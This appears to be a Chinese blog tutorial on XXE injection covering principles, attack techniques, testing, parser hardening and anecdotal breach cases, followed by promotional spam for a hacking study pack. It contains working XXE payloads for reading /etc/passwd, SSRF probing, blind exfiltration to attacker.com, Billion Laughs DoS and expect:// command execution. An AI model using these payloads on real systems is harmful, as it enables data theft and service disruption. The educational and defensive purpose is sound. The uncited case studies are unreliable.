XXE外部实体注入：原理、利用与防御全解析，从零基础到精通，收藏这篇就够了！

最新推荐文章于 2025-05-22 20:56:34 发布

黑客大白

最新推荐文章于 2025-05-22 20:56:34 发布

阅读量857

点赞数 26

CC 4.0 BY-SA版权

文章标签：网络安全安全系统安全

本文链接：https://blog.youkuaiyun.com/Libra1313/article/details/146822369

话说，在网络安全界，有个神秘的漏洞，名叫 XML 外部实体注入（XXE）。它就像一个潜伏在暗处的刺客，一旦得手，就能让你的服务器瞬间“裸奔”，各种敏感文件、内网服务，甚至你的“小秘密”，都可能被一览无余！

今天，咱们就来扒一扒 XXE 的底裤，从原理、攻击手法到防御方案，再到实战案例，保证让你看完直呼内行！

一、XML 和 DTD：这对“好基友”的爱恨情仇

1. XML：数据的“变形金刚”

XML 是一种以树形结构来传输和存储数据的格式，就像一个“变形金刚”，可以根据你的需要，灵活地定义各种数据结构。不信？你看：

<?xml version="1.0" encoding="UTF-8"?>
<user>
  <name>John</name>
  <email>john@example.com</email>
  <role>admin</role>
</user>

XML 和 HTML 有啥不一样？

HTML 是用来“打扮”网页的，比如用 <h1> 标签来显示大标题。XML 只是个“数据容器”，负责定义数据结构。
XML 支持自定义标签，想叫啥就叫啥，非常灵活。但也正因为太灵活，就容易被坏人钻空子。

2. DTD：XML 的“紧箍咒”？NO！是“潘多拉魔盒”！

DTD（文档类型定义）就像 XML 的“紧箍咒”，用来规范 XML 的格式。但是，DTD 里有个叫做 实体（ENTITY） 的东西，它可以引入外部资源，这就有点意思了：

实体类型	声明方式	作用范围
内部普通实体	`<!ENTITY name "value">`	只能在当前 XML 文档里用
外部普通实体	`<!ENTITY xxe SYSTEM "file:///etc/passwd">`	可以引用本地或远程文件
参数实体	`<!ENTITY % param "value">`	只能在 DTD 内部使用

重点来了！

如果你的服务器用的 XML 解析库版本比较老（比如 libxml2 < 2.9.0），而且又没有禁用外部实体，那么攻击者就可以注入一些“不可描述”的恶意实体，搞事情了！

3. XML 解析流程：一不小心就“湿身”

以 PHP 为例，如果你直接把用户输入的 XML 数据扔给解析器，那就等着“湿身”吧：

$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xml); // 危险！没有禁用外部实体加载！
echo $dom->textContent;

二、XXE 攻击：黑客的“十八般武艺”

1. 基础操作：文件读取与端口扫描

场景 1：有回显，直接读取文件

<?xml version="1.0"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

服务器的“娇喘”：

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

场景 2：探测内网 HTTP 服务

<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/secret-api">

如果目标内网存在未授权的 API 接口，攻击者就可以进一步发起 SSRF 攻击，简直丧心病狂！

2. 盲注（Blind XXE）：无回显？照样“榨干”你！

攻击流程：

黑客先准备一个“邪恶”的 DTD 文件（比如 http://attacker.com/evil.dtd）：

xml <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">
2. 然后，诱骗服务器解析 XML：

xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; %int; %send; ]>
3. 最后，黑客的服务器就收到数据了：

GET /?data=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo...

把 Base64 解码一下，就能得到文件内容，简直不要太爽！

3. 高级玩法：拒绝服务（DoS）与远程命令执行

XXE DoS 攻击（Billion Laughs 攻击）：

<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
...

通过不断地递归引用实体，耗尽服务器的内存，让你的服务器直接“瘫痪”！

结合 PHP 伪协议执行命令（需要特定的环境配置）：

<!ENTITY xxe SYSTEM "expect://id">

三、漏洞挖掘：像福尔摩斯一样寻找线索

1. 白盒测试：代码审计，不放过任何蛛丝马迹

重点关注这些函数/类：

PHP：simplexml_load_string(), DOMDocument::loadXML()
Java：DocumentBuilder.parse()
Python：lxml.etree.parse()

检查依赖库的版本：

# 检查 libxml2 版本（Linux）
apt list --installed | grep libxml2

2. 黑盒测试：手工测试 + 工具辅助

第一步：修改请求头

把 Content-Type 从 application/json 改成 application/xml，然后提交测试 payload：

<?xml version="1.0"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<test>&xxe;</test>

第二步：用工具“调戏”服务器

XXEinjector：支持多种协议探测和盲注自动化。

bash ruby XXEinjector.rb --host=attacker.com --path=payload.xml --verbose
* Burp Suite 插件：通过 Collaborator 检测带外请求。

第三步：猜测文件后缀

尝试访问这些路径，看看有没有 XML 处理接口：

/api.ashx
/service.svc
/data.xml

四、防御方案：打造铜墙铁壁，让黑客无处遁形

1. 代码层面：禁用外部实体，安全解析

多语言示例：

Java（SAX 解析器）：

java SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature("http://xml.org/sax/features/external-general-entities", false); spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); SAXParser parser = spf.newSAXParser();
* .NET：

csharp XmlReaderSettings settings = new XmlReaderSettings(); settings.DtdProcessing = DtdProcessing.Prohibit; XmlReader reader = XmlReader.Create(inputStream, settings);

2. 架构层面：输入过滤，协议限制

WAF 规则：拦截包含 <!ENTITY、SYSTEM 等关键词的请求。
网络隔离：限制 XML 解析服务的外网访问权限。
协议白名单：禁用 file://、http:// 等高危协议，只允许必要的协议（比如 https）。

3. 终极方案：拥抱 JSON 或 YAML

如果业务允许，尽量使用 JSON，并开启严格模式：

{
  "user": {
    "name": "John",
    "email": "john@example.com"
  }
}

五、真实案例：血淋淋的教训，敲响警钟

案例 1：某金融平台数据泄露

黑客手段：通过盲注读取数据库配置文件 config.properties，获取 MySQL 账号密码。
惨痛后果：数万用户银行卡信息泄露，平台被罚款 500 万美元。
亡羊补牢：升级 libxml2，并在代码中禁用外部实体。

案例 2：某云服务商内网沦陷

攻击链：XXE → SSRF → Kubernetes API 未授权访问 → 容器逃逸。
罪魁祸首：内网 API 没有配置身份验证，XML 解析服务没有及时更新。
深刻教训：内网服务必须默认启用零信任架构。

六、未来趋势：与时俱进，才能立于不败之地

在云原生和微服务架构中，XXE 漏洞的威胁依然不容小觑。随着 XML 在物联网设备配置中的广泛应用，攻击面还会持续扩大。未来的防御重点：

自动化扫描：集成 SAST/DAST 工具，实时检测 XXE 风险。
协议升级：推动行业采用 JSON Schema 或 Protobuf 等更安全的数据格式。
安全意识：开发人员必须在代码审查中严格检查 XML 解析逻辑。

总之， 网络安全 这条路，道阻且长，行则将至。只有不断学习，不断提升安全意识，才能保护我们的数据安全，让黑客无处遁形！

黑客/网络安全学习包

资料目录

成长路线图&学习规划
配套视频教程
SRC&黑客文籍
护网行动资料
黑客必读书单
面试题合集

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术，作为新手一定要先学习成长路线图，方向不对，努力白费。

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字，我也为大家准备了视频教程，其中一共有21个章节，每个章节都是当前板块的精华浓缩。

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍：

黑客资料由于是敏感资源，这里不能直接展示哦！

4.护网行动资料

其中关于HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！

5.黑客必读书单

6.面试题合集

当你自学到这里，你就要开始思考找工作的事情了，而工作绕不开的就是真题和面试题。

更多内容为防止和谐，可以扫描获取~

因篇幅有限，仅展示部分资料，需要点击下方链接即可前往获取

*************************************优快云大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享*********************************